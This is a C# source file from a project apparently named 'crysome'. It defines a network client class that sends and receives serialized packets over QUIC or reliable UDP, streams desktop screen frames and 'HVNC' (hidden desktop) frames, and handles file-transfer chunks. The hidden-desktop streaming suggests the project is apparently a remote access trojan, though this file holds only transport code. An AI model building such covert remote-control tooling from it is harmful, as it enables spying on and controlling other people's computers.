Files
crysome/Crysome.Common/Crysome.Common.Network/CrysomeClient.cs
T
2026-08-27 11:22:54 -06:00

281 lines
5.4 KiB
C#

using System;
using System.Collections.Concurrent;
using System.IO;
using System.Net;
using System.Threading;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Transport;
namespace Crysome.Common.Network;
public class CrysomeClient
{
private ITransportSession _transport;
private RudpChannel _rudp;
private CancellationTokenSource _readCts = new CancellationTokenSource();
private readonly BlockingCollection<IPacket> _inQueue = new BlockingCollection<IPacket>(2048);
private bool _serverSide;
public bool IsConnected
{
get
{
if (_transport != null)
{
if (_transport.IsAlive)
{
return !_readCts.IsCancellationRequested;
}
return false;
}
if (_rudp != null && _rudp.IsAlive)
{
return !_readCts.IsCancellationRequested;
}
return false;
}
}
public IPEndPoint RemoteAddress
{
get
{
object obj = _transport?.RemoteEndPoint;
if (obj == null)
{
RudpChannel rudp = _rudp;
if (rudp == null)
{
return null;
}
obj = rudp.Remote;
}
return (IPEndPoint)obj;
}
}
public IPEndPoint LocalAddress => _transport?.LocalEndPoint;
public int Port => LocalAddress?.Port ?? 0;
public double RttMs => _transport?.RttMs ?? _rudp?.RttMs ?? 0.0;
public double LossRate => _transport?.LossRate ?? _rudp?.LossRate ?? 0.0;
public long BytesSent => _transport?.BytesSent ?? _rudp?.BytesSent ?? 0;
public long BytesRecv => _transport?.BytesRecv ?? _rudp?.BytesRecv ?? 0;
public uint UdpSessionToken { get; set; }
public IPEndPoint UdpRemoteEndPoint { get; set; }
public uint UdpLastFrameSeq { get; set; }
public event EventHandler PacketReceived;
public event EventHandler PacketSent;
public CrysomeClient(ITransportSession transport, bool serverSide)
{
AttachTransport(transport, serverSide);
}
public CrysomeClient(RudpChannel channel)
{
AttachRudp(channel);
}
public CrysomeClient()
{
}
public void Connect(IPAddress address, int port)
{
QuicTransportSession result = QuicTransportSession.ConnectClientAsync(new IPEndPoint(address, port), CancellationToken.None).AsTask().GetAwaiter()
.GetResult();
AttachTransport(result, serverSide: false);
}
private void AttachTransport(ITransportSession transport, bool serverSide)
{
_transport = transport;
_serverSide = serverSide;
_transport.ReliableReceived += OnReliableData;
_transport.UnreliableFrameReceived += OnUnreliableControl;
_transport.Disconnected += OnDisconnected;
}
private void AttachRudp(RudpChannel channel)
{
_rudp = channel;
_rudp.ReliableReceived += OnReliableData;
_rudp.UnreliableFrameReceived += OnUnreliableControl;
_rudp.Disconnected += OnDisconnected;
}
public RudpChannel GetRudpChannel()
{
return _rudp;
}
public void SendPacket(IPacket packet)
{
byte[] array = PacketSerializer.Serialize(packet);
if (_transport != null)
{
if (_serverSide && packet is FtChunkPacket)
{
_transport.SendReliableBulk(array);
}
else
{
_transport.SendReliable(array);
}
}
else
{
_rudp.SendReliable(array);
}
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
public void SendPacketUnreliable(IPacket packet)
{
byte[] array = PacketSerializer.Serialize(packet);
if (_transport != null)
{
_transport.SendPacketUnreliable(array);
}
else
{
_rudp.SendUnreliable(0, array);
}
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
public void SendDesktopScreenFrame(byte[] jpegData)
{
if (jpegData != null && jpegData.Length != 0)
{
if (_transport != null)
{
_transport.SendUnreliableScreen(36, jpegData);
}
else
{
_rudp.SendUnreliable(36, jpegData);
}
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
}
public void SendHvncFrame(byte[] jpegData)
{
if (jpegData != null && jpegData.Length != 0)
{
if (_transport != null)
{
_transport.SendUnreliableScreen(46, jpegData);
}
else
{
_rudp.SendUnreliable(46, jpegData);
}
this.PacketSent?.Invoke(this, EventArgs.Empty);
}
}
public IPacket ReadPacket()
{
try
{
IPacket result = _inQueue.Take(_readCts.Token);
this.PacketReceived?.Invoke(this, EventArgs.Empty);
return result;
}
catch (OperationCanceledException)
{
throw new IOException("Connection closed");
}
}
public void Disconnect()
{
_readCts.Cancel();
try
{
_transport?.SendFin();
}
catch
{
}
try
{
_transport?.Dispose();
}
catch
{
}
try
{
_rudp?.SendFin();
}
catch
{
}
try
{
_rudp?.Dispose();
}
catch
{
}
}
private void OnReliableData(byte[] payload)
{
try
{
IPacket packet = PacketSerializer.Deserialize(payload);
if (packet != null && !_inQueue.IsAddingCompleted)
{
_inQueue.TryAdd(packet, 100);
}
}
catch
{
}
}
private void OnUnreliableControl(byte typeId, byte[] data)
{
if (typeId != 0 || data == null)
{
return;
}
try
{
IPacket packet = PacketSerializer.Deserialize(data);
if (packet != null && !_inQueue.IsAddingCompleted)
{
_inQueue.TryAdd(packet, 20);
}
}
catch
{
}
}
private void OnDisconnected()
{
_readCts.Cancel();
_inQueue.CompleteAdding();
}
}